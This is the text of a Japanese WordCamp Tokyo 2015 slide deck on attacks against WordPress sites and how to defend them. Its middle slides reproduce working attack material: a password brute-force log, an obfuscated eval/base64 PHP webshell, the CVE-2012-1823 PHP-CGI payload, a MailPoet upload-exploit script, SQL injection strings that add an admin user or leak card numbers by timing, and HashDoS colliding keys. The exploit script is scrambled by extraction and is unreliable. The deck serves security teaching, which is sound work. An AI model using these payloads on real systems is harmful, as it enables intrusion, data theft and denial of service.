---
title: Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
tags:  #security #wordpress  
author: [徳丸 浩](https://www.docswell.com/user/ockeghem)
site: [Docswell](https://www.docswell.com/)
thumbnail: https://bcdn.docswell.com/page/Z5EGKW5R7L.jpg?width=480
description: Wordcamp Tokyo 2015における講演資料です。一部追記しました。
published: October 31, 15
canonical: https://www.docswell.com/s/ockeghem/537MPZ-wordcamptokyo2015
---
# Page. 1

![Page Image](https://bcdn.docswell.com/page/Z5EGKW5R7L.jpg)

Webサイトをめぐるセキュリティ状況と効果的な防御方法
～WordPressを題材として～
2015年10月31日
HASH コンサルティング株式会社
代表取締役 徳丸 浩


# Page. 2

![Page Image](https://bcdn.docswell.com/page/V4JQN3ZYJP.jpg)

アジェンダ
• Webサイトへの侵入経路とは
• 怒涛のWordPressサイトへの侵入デモ6連発
–
–
–
–
–
–
パスワードクラック
PHPの脆弱性に対する攻撃
プラグイン脆弱性に対する攻撃
シンボリックリンク攻撃
SQLインジェクション攻撃
JSON HashDos
• 対策の考え方
Copyright © 2012-2015 HASH Consulting Corp.
2


# Page. 3

![Page Image](https://bcdn.docswell.com/page/DK74G13ZJ1.jpg)

徳丸浩の自己紹介
•
経歴
– 1985年 京セラ株式会社入社
– 1995年 京セラコミュニケーションシステム株式会社(KCCS)に出向・転籍
– 2008年 KCCS退職、HASHコンサルティング株式会社設立
•
経験したこと
– 京セラ入社当時はCAD、計算幾何学、数値シミュレーションなどを担当
– その後、企業向けパッケージソフトの企画・開発・事業化を担当
– 1999年から、携帯電話向けインフラ、プラットフォームの企画・開発を担当
Webアプリケーションのセキュリティ問題に直面、研究、社内展開、寄稿などを開始
– 2004年にKCCS社内ベンチャーとしてWebアプリケーションセキュリティ事業を立ち上げ
•
現在
– HASHコンサルティング株式会社 代表
http://www.hash-c.co.jp/
– 独立行政法人情報処理推進機構 非常勤研究員
http://www.ipa.go.jp/security/
– 著書「体系的に学ぶ 安全なWebアプリケーションの作り方」(2011年3月)
– 技術士（情報工学部門）
– 社員募集中
Copyright © 2012-2015 HASH Consulting Corp.
3


# Page. 4

![Page Image](https://bcdn.docswell.com/page/PLJ1DG1DEG.jpg)

Webサイトへの侵入経路は2種類しかない
• 管理用ツールの認証を突破される
– telnet, FTP, SSH等のパスワードを推測される
– FTP等のパスワードがマルウェア経由で漏洩する
• ソフトウェアの脆弱性を悪用される
– 基盤ソフトウェアの脆弱性を悪用される
• Apache, PHP, JRE(Java), Tomcat, …
• 脆弱性は世界中で調査され、日々新たな脆弱性が報告さ
れる
– アプリケーションの脆弱性を悪用される
• 個別のアプリケーションの脆弱性
• SQLインジェクションなど
Copyright © 2012-2015 HASH Consulting Corp.
4


# Page. 5

![Page Image](https://bcdn.docswell.com/page/8GJWYK8872.jpg)

WordPressの場合の主な侵入経路
• 管理用ツールの認証を突破される
– WordPressのパスワードを推測される
– FTP等のパスワードがマルウェア経由で漏洩する
•
•
•
•
PHPの脆弱性
WordPress本体の脆弱性
WordPressのプラグインの脆弱性
カスタマイズ部分の脆弱性
今日は全部
やってみます
Copyright © 2012-2015 HASH Consulting Corp.
5


# Page. 6

![Page Image](https://bcdn.docswell.com/page/W4EZXZ8973.jpg)

攻撃を受けるとどうなるか?
• 情報漏洩
– サーバー内の重要情報、個人情報等が外部に漏洩する
– Aさんの情報をBさんが見てしまう事故（別人問題）も漏洩に分
類する
• データ改ざん
– DB、ファイルの書き換え、
– 画面の改変
– スクリプトやiframeを埋め込み、閲覧者がマルウェアに感染
• DoS攻撃
– サービス停止に追い込む
今日は全部
やってみます
• なりすまし
– 別人になりすまして操作ができる
Copyright © 2012-2015 HASH Consulting Corp.
6


# Page. 7

![Page Image](https://bcdn.docswell.com/page/KY764ZPDJV.jpg)

管理用ツールの認証を突破される
• WordPressのパスワードを推測される
Copyright © 2012-2015 HASH Consulting Corp.
7


# Page. 8

![Page Image](https://bcdn.docswell.com/page/5G75QWK8J4.jpg)

定番ツールWPScanでクラックしてみよう
http://wpscan.org/
Copyright © 2012-2015 HASH Consulting Corp.
8


# Page. 9

![Page Image](https://bcdn.docswell.com/page/V9J2PQWVJR.jpg)

デモ:
• WPScanによるパスワードクラック
[!] Default first WordPress username &#039;admin&#039; is still used
[+] Starting the password brute forcer
Brute Forcing &#039;admin&#039; Time: 00:00:11 &lt;====== &gt; (49 / 51) 96.07%
Brute Forcing &#039;yamada&#039; Time: 00:00:07 &lt;===== &gt; (50 / 51) 98.03%
[+] [SUCCESS] Login : yamada Password : tigger
+----+--------+------+----------+
| Id | Login | Name | Password |
+----+--------+------+----------+
| 1 | admin |
|
|
| 4 | yamada |
| tigger
|
+----+--------+------+----------+
Copyright © 2012-2015 HASH Consulting Corp.
9


# Page. 10

![Page Image](https://bcdn.docswell.com/page/5DEY5WLQEM.jpg)

PHPの脆弱性
Copyright © 2012-2015 HASH Consulting Corp.
10


# Page. 11

![Page Image](https://bcdn.docswell.com/page/2VJNN942J8.jpg)

ロリポップのサイト改ざん事件(1)
あるサイトの.htaccessが改ざんされていました。
【元】
AddHandler application/x-httpd-php .html
【改ざん】
AddHandler application/x-httpd-php .png
→「pngファイルをphpととして読み込む」的なもの？
そして.htaccessと同じ階層に、「.****.png」という不可解なファイル。
それをファイルとして開いてみると
&lt;?php ($_=$_POST).($_1=’_&#039;).($_4=$$_1).($_4=$_4[$_1]).($_4($$_1)).eval(base64_decode($_4($$_1)));?&gt;
というコードが記載。なにこれこわい。
※あとファイル更新時間でソートをかけたらindex.bak.phpみたいなファイルがありました（消してしまったのでうろ覚
え）。
http://www.baka-ke.com/2012/05/16/htaccess-kaizan-png-eval/ より引用
11


# Page. 12

![Page Image](https://bcdn.docswell.com/page/GYE9R2QD73.jpg)

ロリポップのサイト改ざん事件(2)
.htaccess改ざんの件、恐らく完結
.htaccess改ざんの件についての続きです。原因が特定され、解決しているかと思います。
これまでの記事：
.htaccessの改ざんを受けていた
.htaccess改ざんの件、続き
パシ様のブログにて、CGI版PHPの脆弱性ではないかという指摘が出ていました。
WordPressサイトの.htaccessが改ざんされている件 – 謎のindex.bak.php | WP SEOブログ
この攻撃についての手口は下記のページにて書かれています。
CGI版PHPにリモートからスクリプト実行を許す脆弱性(CVE-2012-1823) | 徳丸浩の日記
今日の昼間自分が発見したアクセスログもまさにこれで、こういうPOSTリクエストがありました。（実際はこれをURL
エンコードしていた）
/?-n+-d+disable_functions=%22%22+-d+safe_mode=0+-d+suhosin.simulation=1+-d+open_basedir=none+d+allow_url_include=1+-d+allow_url_fopen=1+-d+auto_prepend_file=php://input
これは上のページにあるCGI版PHPへの脆弱性攻撃そのままで、これで.htaccessを上書きされていたようです。
http://www.php-zfex.jp/blog/2012/05/23/htaccess-kaizan_3/ より引用
12


# Page. 13

![Page Image](https://bcdn.docswell.com/page/5GE8W5G57D.jpg)

デモ:
• CGI版PHPのスクリプト実行可能な脆弱性
CVE-2012-1823により、××ポップを狙った
攻撃を再現
• PNG画像に偽装したPHPスクリプトにより、
JavaScriptファイルを差し替え、サイト閲覧
者にウイルス感染させる
Copyright © 2012-2015 HASH Consulting Corp.
13


# Page. 14

![Page Image](https://bcdn.docswell.com/page/MLELNYG3JR.jpg)

WordPress本体の脆弱性
Copyright © 2012-2015 HASH Consulting Corp.
14


# Page. 15

![Page Image](https://bcdn.docswell.com/page/54JMXNQM7W.jpg)

WordPressは他のCMSと比べて
脆弱なのか?
Copyright © 2012-2015 HASH Consulting Corp.
15


# Page. 16

![Page Image](https://bcdn.docswell.com/page/ZPJRND8L79.jpg)

そうとは言えない
Copyright © 2012-2015 HASH Consulting Corp.
16


# Page. 17

![Page Image](https://bcdn.docswell.com/page/NPEXN1L6JX.jpg)

JoomlaのSQLインジェクション
http://www.atmarkit.co.jp/ait/articles/1510/30/news069.html より引用
17


# Page. 18

![Page Image](https://bcdn.docswell.com/page/63EKN2LGED.jpg)

Drupalの脆弱性突く攻撃横行、「侵入されたと想定して対処を」
オープンソースのコンテンツ管理システム（CMS）「Drupal」に極めて深
刻な脆弱（ぜいじゃく）性が見つかった問題で、Drupalは10月29日、脆弱
性修正のパッチを直後に適用しなかったWebサイトは侵入された可能性
があると警告した。米セキュリティ機関のUS-CERTも、アップデートや回
避策の適用を呼びかけている。
問題のSQLインジェクションの脆弱性は、Drupalのバージョン7.xに存在
する。悪用された場合、攻撃者にバックドアを仕掛けられ、サイトの全デー
タをコピーされる恐れがある。攻撃の痕跡は残らない。この脆弱性を修正
した「Drupal 7.32」は10月15日にリリースされた。
Drupalによると、この10月15日の発表の直後から、脆弱性を修正してい
ないWebサイトに対する攻撃が始まった。「すべてのDrupal 7サイトは、世
界協定時間の10月15日午後11時（日本時間16日午前8時）までにアップ
デートまたはパッチを適用していない限り、破られたと想定して対処しなけ
ればならない」とDrupalは警告する。
http://www.itmedia.co.jp/enterprise/articles/1410/31/news050.html より引用18


# Page. 19

![Page Image](https://bcdn.docswell.com/page/4L73V435E5.jpg)

WordPressのプラグインの脆弱性
…は残念ながら多い
Copyright © 2012-2015 HASH Consulting Corp.
19


# Page. 20

![Page Image](https://bcdn.docswell.com/page/V87D8Q4Y7G.jpg)

http://www.itmedia.co.jp/enterprise/articles/1407/03/news040.html より引用
20


# Page. 21

![Page Image](https://bcdn.docswell.com/page/4VJP8LM2J8.jpg)

JVNDB-2014-003582
WordPress 用 MailPoet Newsletters プラグインにおける認証を回避される脆弱性
概要
WordPress 用 MailPoet Newsletters (wysija-newsletters) プラグインには、認証を回避され、任意
の PHP コードを実行される脆弱性が存在します。
CVSS による深刻度 (CVSS とは?)
•
•
•
•
•
•
•
基本値: 7.5 (危険) [NVD値]
攻撃元区分: ネットワーク
攻撃条件の複雑さ: 低
攻撃前の認証要否: 不要
機密性への影響(C): 部分的
完全性への影響(I): 部分的
可用性への影響(A): 部分的
影響を受けるシステム
MailPoet
•
MailPoet Newsletters 2.6.7 未満
想定される影響
第三者により、wp-admin/admin-post.php を使用する巧妙に細工されたテーマをアップロードされ、
wp-content/uploads/wysija/themes/mailp/ 内のテーマにアクセスされることで、認証を回避され、任
意の PHP コードを実行される可能性があります。
http://jvndb.jvn.jp/ja/contents/2014/JVNDB-2014-003582.html より引用
21


# Page. 22

![Page Image](https://bcdn.docswell.com/page/L2EVNQ9X7Q.jpg)

巧妙に細工されたテーマ?
Copyright © 2012-2015 HASH Consulting Corp.
22


# Page. 23

![Page Image](https://bcdn.docswell.com/page/Z57GKWZRJL.jpg)

PoC
#!/usr/bin/env py thon
# -*- coding: utf -8 -*-
def exploit(url, pay load_data):
f rom random import choice
theme_name = &#039;.tmp&#039; # better to keep the chaos to one directory .
pay load_name = &#039;&#039;.join([choice(string.letters) f or i in range(5)]) + &quot;.php&quot;
zip_f ile = create_zip_f ile(theme_name, pay load_name, pay load_data)
import string
import sy s
f iles = {&#039;my -theme&#039;: (&#039;%s.zip&#039; % theme_name, zip_f ile, &quot;application/x-zip-compressed&quot;)}
import re
f rom zipf ile import ZipFile
data = {
&quot;action&quot;: &quot;themeupload&quot;,
f rom StringIO import StringIO
import requests
f rom colors import red, green, blue # pip install ansicolors
&quot;submitter&quot;: &quot;Upload&quot;,
&quot;ov erwriteexistingtheme&quot;: &quot;on&quot;
}
target_url = &quot;%s/wp-admin/admin-post.php?page=wy sija_campaigns&amp;action=themes&quot; % url
def v ersion_compare(v 1, v 2):
def normalize(v ):
return [int(x) f or x in re.sub(r&#039;(\.0+)*$&#039;, &#039;&#039;, v ).split(&quot;.&quot;)]
return cmp(normalize(v 1), normalize(v 2))
def create_zip_f ile(theme_name, pay load_name, pay load):
f iles = {
&quot;%s/%s&quot; % (theme_name, &#039;sty le.css&#039;): &#039;&#039;,
&quot;%s/%s&quot; % (theme_name, pay load_name): pay load
}
zip_f ile = StringIO()
with ZipFile(zip_f ile, &#039;w&#039;) as zip:
f or path in f iles:
zip.writestr(path, f iles[path])
zip_f ile.seek(0)
pay load_url = &quot;%s/%s/%s/%s&quot; % (url, &#039;wp-content/uploads/wy sija/themes&#039;, theme_name,
pay load_name)
print blue(&quot;[?] attempting to upload zip (%s)...&quot; % target_url)
# Don&#039;t rely on checking response, hav e observ ed some strange behav iour ev en with successf ul
upload
requests.post(target_url, f iles=f iles, data=data, v erify=False, timeout=15)
print blue(&quot;[?] checking upload (%s)...&quot; % pay load_url)
response = requests.head(pay load_url, v erif y =False, timeout=15)
if response.status_code == 200:
print green(&quot;[+] f ound: %s&quot; % pay load_url)
return pay load_url
else:
raise Exception(&quot;upload f ailed.&quot;)
return zip_f ile
if __name__ == &quot;__main__&quot;:
def check(url):
readme_url = &quot;%s/wp-content/plugins/wy sija-newsletters/readme.txt&quot; % url
res = requests.get(readme_url, timeout=15, v erif y =False)
if res.status_code == 200:
match = re.search(&quot;stable tag: (.*)[\r\n]&quot;, res.text, re.I)
v ersion = match.group(1)
f un = green if v ersion_compare(v ersion, &quot;2.6.7&quot;) &lt; 0 else blue
print f un(&quot;[?] f ound v ersion: %s&quot; % v ersion)
return v ersion_compare(v ersion, &quot;2.6.7&quot;) &lt; 0
else:
raise Exception(&quot;error getting v ersion&quot;)
if len(sy s.argv) &gt; 2:
pay load = open(sy s.argv [1]).read()
wp_url = sy s.argv [2]
try :
if check(wp_url):
res = exploit(wp_url, pay load)
if res:
with open(&quot;f ound-sija.log&quot;, &quot;a&quot;) as log:
log.write(&quot;%s\n&quot; % res)
except Exception as e:
print red(&quot;[!] %s - %s&quot; % (wp_url, e))
https://github.com/nosecurity/cve-2014-xxxx-mailpoet-newsletters より引用
23


# Page. 24

![Page Image](https://bcdn.docswell.com/page/V4EQN3LYEP.jpg)

難しいので、最低限の形に単純化
してみる
Copyright © 2012-2015 HASH Consulting Corp.
24


# Page. 25

![Page Image](https://bcdn.docswell.com/page/DKJ4G1DZE1.jpg)

単純化したら、とても簡単になったw
&lt;body&gt;
&lt;form action=&quot;http://suzuki.jp/wp-admin/admin-post.php?
page=xxxxxxxxxxxx&amp;amp;action=xxxxx&quot; method=&quot;post&quot;
enctype=&quot;multipart/form-data&quot;&gt;
&lt;input type=&quot;text&quot; name=&quot;action&quot; value=&quot;xxxxxxxxx&quot;&gt;
&lt;input type=&quot;text&quot; name=&quot;submitter&quot; value=&quot;xxxxxxx&quot;&gt;
&lt;input type=&quot;text&quot; name=&quot;xxxxxxxxxxxxx&quot; value=&quot;xx&quot;&gt;
&lt;input type=&quot;file&quot; name=&quot;xxxxxxxxx&quot;&gt;
&lt;input type=&quot;submit&quot; value=&quot;攻撃&quot;&gt;
&lt;/form&gt;&lt;br&gt;
&lt;/body&gt;
要はファイルを
アップロードするだけ
Copyright © 2012-2015 HASH Consulting Corp.
25


# Page. 26

![Page Image](https://bcdn.docswell.com/page/PLE1DGZD7G.jpg)

&quot;巧妙に細工したテーマ&quot;はこんな感じ
$ unzip -v exploit.zip
Archive: exploit.zip
Length
Method
Size Cmpr
Date
Time
CRC-32
-------- ------ ------- ---- ---------- ----- -------0 Stored
0
0% 2015-10-06 23:11 00000000
0 Stored
0
0% 2015-10-06 23:00 00000000
674 Defl:N
404 40% 2015-10-10 23:26 ad2aad5f
0 Stored
0
0% 2015-10-06 23:11 00000000
94 Defl:N
82 13% 2015-10-06 23:14 4eba8413
-------------- --768
486 37%
$
Name
---exploit/index.html
exploit/screenshot.jpg
exploit/style.css
exploit/index.php
exploit/webshell.php
------5 files
徳丸が最初に作成した
WordPressテーマですw
Copyright © 2012-2015 HASH Consulting Corp.
26


# Page. 27

![Page Image](https://bcdn.docswell.com/page/8GEWYK98J2.jpg)

デモ:
• MailPoetプラグインの脆弱性を悪用し
て、WebShellをアップロード
Copyright © 2012-2015 HASH Consulting Corp.
27


# Page. 28

![Page Image](https://bcdn.docswell.com/page/W47ZXZ99J3.jpg)

シンボリックリンク攻撃による情報
漏えい
Copyright © 2012-2015 HASH Consulting Corp.
28


# Page. 29

![Page Image](https://bcdn.docswell.com/page/KYJ64ZKDEV.jpg)

Copyright © 2012-2015 HASH Consulting Corp.
29


# Page. 30

![Page Image](https://bcdn.docswell.com/page/5GJ5QWP8E4.jpg)

レンタルサーバーの権限モデル
wp-config.php
/
ファイルのオーナー
コマンド
権限:suzuki
/home/suzuki
rwx-----x
suzuki.LolipopUser
rw----r-suzuki.LolipopUser
Webサーバー
Apache
権限:nobody
別のユーザー
/home/tanaka
コマンド
権限:tanaka
rwx-----x
tanaka.LolipopUser
Copyright © 2012-2015 HASH Consulting Corp.
30


# Page. 31

![Page Image](https://bcdn.docswell.com/page/4LE3V43GJ5.jpg)

シンボリックリンク攻撃
wp-config.php
/
コマンド
権限:suzuki
/home/tanaka
rwx-----x
所有者:tanaka
rw----r-所有者: tanaka
シンボリックリンク
wp-config.txt
拡張子が.txtなの
でソースが閲覧可
コマンド
権限:suzuki
/home/suzuki
rwx-----x
所有者: suzuki
Apache
権限:nobody
rwxrwxrwx
所有者: suzuki
Copyright © 2012-2015 HASH Consulting Corp.
31


# Page. 32

![Page Image](https://bcdn.docswell.com/page/V8ED8Q4NEG.jpg)

デモ:
• 先ほどsuzukiサイトに設置した
WebShellにより、tanakaサイトのwpconfig.phpにシンボリックリンクを設置
• MySQLのパスワードを窃取
• phpMyAdminによりコンテンツを改ざん
Copyright © 2012-2015 HASH Consulting Corp.
32


# Page. 33

![Page Image](https://bcdn.docswell.com/page/4V7P8LMN78.jpg)

シンボリックリンク攻撃のまとめ
• シンボリックリンクは誰でも作成できる
– 権限のないファイルなどにも可能
– ただし、権限のないファイルを読むことはできない
• シンボリックリンクを上位権限を持つプロセス(Apache等)に読み
込ませるのがシンボリックリンク攻撃
• レンタルサーバー運営者はシンボリックリンクを制限すること
– FollowSymLinksの禁止 または
– SymLinksIfOwnerMatch
– ※ Apacheの実装が十分でなく、これは緩和策にしかならない
• レンタルサーバー利用者はファイルパーミッションに注意
– HTMLや画像は604 等
– PHP スクリプトは 600 ← これでシンボリックリンク攻撃は防げる
– CGI スクリプトは 700
Copyright © 2012-2015 HASH Consulting Corp.
33


# Page. 34

![Page Image](https://bcdn.docswell.com/page/L2JVNQ9YEQ.jpg)

カスタマイズ部分の脆弱性
Copyright © 2012-2015 HASH Consulting Corp.
34


# Page. 35

![Page Image](https://bcdn.docswell.com/page/Z5EGKWZW7L.jpg)

サイトにキャンペーン応募ページを追加
Copyright © 2012-2015 HASH Consulting Corp.
35


# Page. 36

![Page Image](https://bcdn.docswell.com/page/V4JQN3LQJP.jpg)

SQLインジェクション脆弱性のあるソース
&lt;?php
$name = $_REQUEST[&#039;name&#039;];
$mail = $_REQUEST[&#039;mail&#039;];
$address = $_REQUEST[&#039;address&#039;];
try {
$con = new PDO(&quot;mysql:host=localhost;dbname=db;charset=utf8&quot;, …
$con-&gt;setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$sql =
&quot;INSERT INTO entries VALUES(&#039;$name&#039;, &#039;$mail&#039;, &#039;$address&#039;)&quot;;
$result = $con-&gt;exec($sql);
ここにSQLインジェクション
} catch (PDOException $e) {
// 何もしない
}
?&gt;
&lt;p&gt;登録しました&lt;/p&gt;
表示がないので
情報は漏洩しない?
Copyright © 2012-2015 HASH Consulting Corp.
36


# Page. 37

![Page Image](https://bcdn.docswell.com/page/DK74G1DYJ1.jpg)

SQLインジェクション攻撃にはプレフィックスとデータベース名が必要
-- ユーザー crack パスワード a のユーザを作成
INSERT INTO wpdb.wp_users VALUES(NULL, &#039;crack&#039;, MD5(&#039;a&#039;),
&#039;crack&#039;, &#039;crack@example.jp&#039;, &#039;&#039;, NOW(), &#039;&#039;, 0, &#039;crack&#039;); #
-- ユーザテストに管理者権限を割当
INSERT INTO wpdb.wp_usermeta SELECT NULL, (SELECT ID FROM
wpdb.wp_users WHERE user_login=&#039;crack&#039;), meta_key, meta_value
FROM wpdb.wp_usermeta WHERE user_id=(SELECT user_id FROM
wpdb.wp_usermeta WHERE meta_key=&#039;wp_user_level&#039; and
meta_value=&#039;10&#039; LIMIT 1); #
プレフィックス wp_ とデータベース名 wpdb を一般的なものから変えれは攻撃
が難しくなると信じられているが…
これらもSQLインジェクション攻撃で盗むことができる!
Copyright © 2012-2015 HASH Consulting Corp.
37


# Page. 38

![Page Image](https://bcdn.docswell.com/page/PLJ1DGZNEG.jpg)

時間差を利用して情報を盗む(Time based SQLi)
• sleep関数で 5秒待ち合わせ
INSERT INTO entries VALUES(&#039;&#039;, (SELECT sleep(5)), null) -- &#039;, &#039;&#039;, &#039;&#039;)
• eccube_db.dtb_customer_cardテーブル1行目のcardnumber
列1文字目が 5 の場合のみ5秒待つ
INSERT INTO entries VALUES(&#039;&#039;,(select if(substr((select
cardnumber from eccube_db.dtb_customer_card limit
0,1),1,1) = &#039;1&#039;,sleep(5),0)), null) -- &#039;,&#039;&#039;)
• これを繰り返すことにより、ECサイトのカード情報を求められる
続きはデモで
参考: http://blog.tokumaru.org/2012/12/blind-sql-injection-php-exploit.html
Copyright © 2012-2015 HASH Consulting Corp.
38


# Page. 39

![Page Image](https://bcdn.docswell.com/page/8GJWYK6M72.jpg)

デモ:
• Time based SQLインジェクションにより、
WordPressのデータベース名とプレ
フィックスを盗む
• SQLインジェクション攻撃により、新しい
ユーザとロールを作成
• 作成した管理者ユーザでログイン
Copyright © 2012-2015 HASH Consulting Corp.
39


# Page. 40

![Page Image](https://bcdn.docswell.com/page/W4EZXZYM73.jpg)

One more thing…
Copyright © 2012-2015 HASH Consulting Corp.
40


# Page. 41

![Page Image](https://bcdn.docswell.com/page/KY764ZD5JV.jpg)

http://blog.hash-c.co.jp/2015/10/phpjson-hashdos.html より引用
41


# Page. 42

![Page Image](https://bcdn.docswell.com/page/5G75QW3GJ4.jpg)

json_decodeの入力値でハッシュコリジョンを発生
$body = file_get_contents(&#039;php://input&#039;); // POSTデータを取得
$params = json_decode($body);
// POSTデータをJSONと
してデコード
PoC: {&quot;4vq&quot;:&quot;key1&quot;, &quot;4wP&quot;:&quot;key2&quot;, &quot;5Uq&quot;:&quot;key3&quot;, &quot;5VP&quot;:&quot;key4&quot;,
&quot;64q&quot;:&quot;key5&quot; … }
hash(&#039;4vq&#039;)
hash(&#039;4wP&#039;)
hash(&#039;5Uq&#039;)
hash(&#039;5VP&#039;)
hash(&#039;64q&#039;)
…
=
=
=
=
=
b879fc0
b879fc0
b879fc0
b879fc0
b879fc0
Copyright © 2012-2015 HASH Consulting Corp.
42


# Page. 43

![Page Image](https://bcdn.docswell.com/page/V9J2PQZDJR.jpg)

デモ:
• WordPress 3.8までに存在したJSON
HashDos可能なファイルを攻撃して、
サイトをアクセス不能にする
• WordPress 3.9以降にはこのファイル
はありません
Copyright © 2012-2015 HASH Consulting Corp.
43


# Page. 44

![Page Image](https://bcdn.docswell.com/page/5DEY5WRMEM.jpg)

対策の考え方
Copyright © 2012-2015 HASH Consulting Corp.
44


# Page. 45

![Page Image](https://bcdn.docswell.com/page/2VJNN9D3J8.jpg)

パスワード! パスワード! パスワード!
• 極論するとユーザ名は&quot;admin&quot;でもよい
– adminだと自動攻撃に狙われるのでウザいということ
はある
• とにかくパスワードをちゃんとすることが重要
– 8文字以上
– 英数字を混ぜる
– 辞書に載っている単独はだめ
– できればランダム文字列
– 他所で使ってないもの 【重要】
– 管理者が複数存在する場合は、管理者毎にユー
ザーを作成する
Copyright © 2012-2015 HASH Consulting Corp.
45


# Page. 46

![Page Image](https://bcdn.docswell.com/page/GYE9R2GP73.jpg)

ソフトウェアのバージョンアップまたはパッチ適用
• 脆弱性対処は、バージョンアップまたはパッチ適
用が基本
– 自らビルド等している場合はバージョンアップが楽な
場合が多い
– CentOS、Debian、Ubuntu等のディストリビューショ
ンのパッケージを導入している場合はパッチ適用
• バージョンアップするとサイトが動かなくなる…な
んて心配をしないで、とにかくバージョンアップす
ること
• 自力でトラブル対処ができないソフトは導入しな
いこと
Copyright © 2012-2015 HASH Consulting Corp.
46


# Page. 47

![Page Image](https://bcdn.docswell.com/page/5GE8W5VX7D.jpg)

SiteGuard WP Pluginのすすめ
https://wordpress.org/plugins/siteguard/
• SiteGuard の不正ログイン防止に特化したプラグイン
• 簡単に導入できて効果が高い
• プラグイン自体の脆弱性対策がなされている（重要）
Copyright © 2012-2015 HASH Consulting Corp.
47


# Page. 48

![Page Image](https://bcdn.docswell.com/page/MLELNY5NJR.jpg)

WAF(Web Application Firewall)
情報処理推進機構(IPA) WAF読本より引用
48


# Page. 49

![Page Image](https://bcdn.docswell.com/page/54JMXN3Q7W.jpg)

SiteGuard WP PluginとWAFで何が防御できる?
パスワード辞書攻撃
SiteGuard WP Plugin
WAF
◎
○
◎
PHP-CGI
MailPoet アップロードバグ
◎
シンボリックリンク攻撃
SQLインジェクション
◎
JSON HashDos
○
Copyright © 2012-2015 HASH Consulting Corp.
49


# Page. 50

![Page Image](https://bcdn.docswell.com/page/ZPJRNDQK79.jpg)

SQLインジェクションは絶対だめ
• 対策は、とにかくプレースホルダを使うこと
• 外部入力をSQL文に混ぜない
• WordPressの場合
– $wpdb-&gt;prepare(&#039;SELECT * … WHERE
user_login = %s&#039;, $username);
• ピュアPHPの場合
– PDOを使う
– プレースホルダ
– DB接続時に文字エンコーディング指定を忘れない
– バインド時に型を指定する
Copyright © 2012-2015 HASH Consulting Corp.
50


# Page. 51

![Page Image](https://bcdn.docswell.com/page/NPEXN155JX.jpg)

どんなサーバーを借りたらよいか?
セキュリティ対策
IaaS/VPS
PaaS/レンサバ
SaaS
WAF
利用者
（事業者）
-
PHP/Apache
利用者
事業者
事業者
WordPress
利用者
利用者
事業者
プラグイン
利用者
利用者
事業者
カスタマイズ部分
利用者
利用者
-
パスワード
利用者
利用者
利用者
• IaaSやVPSは利用者が「全て」の対応をする必要がある
• PaaSやレンタルサーバーはインフラの面倒は見てくれる
• SaaSの場合、パスワードさえしっかり管理すれば
Copyright © 2012-2015 HASH Consulting Corp.
51


# Page. 52

![Page Image](https://bcdn.docswell.com/page/63EKN26RED.jpg)

サーバーはどれがいいの?
• 一番良いのはWordPressを自分で建てない
• レンタルサーバーは意外に良い
– パッチ適用をやってくれる
– 最近のレンサバはWAFがついてくる
• VPSやIaaSを使うのなら相応の&quot;覚悟&quot;を
– パッチは全部自分であてる
– WAFは…
Copyright © 2012-2015 HASH Consulting Corp.
52


# Page. 53

![Page Image](https://bcdn.docswell.com/page/4L73V46GE5.jpg)

まとめ
• WordPressを題材として、Webサイトへの不正ア
クセスの手法を紹介
– 不正ログイン
– プラットフォーム(PHP等)の脆弱性の悪用
– オープンソースのアプリケーションの脆弱性の悪用
– 自作カスタマイズ部分の脆弱性の悪用
• 不正ログイン対策は、とにかく良質のパスワード
をつけること
• 脆弱性対策は、パッチ適用かバージョンアップ
• 自作アプリケーションの脆弱性対応
Copyright © 2012-2015 HASH Consulting Corp.
53


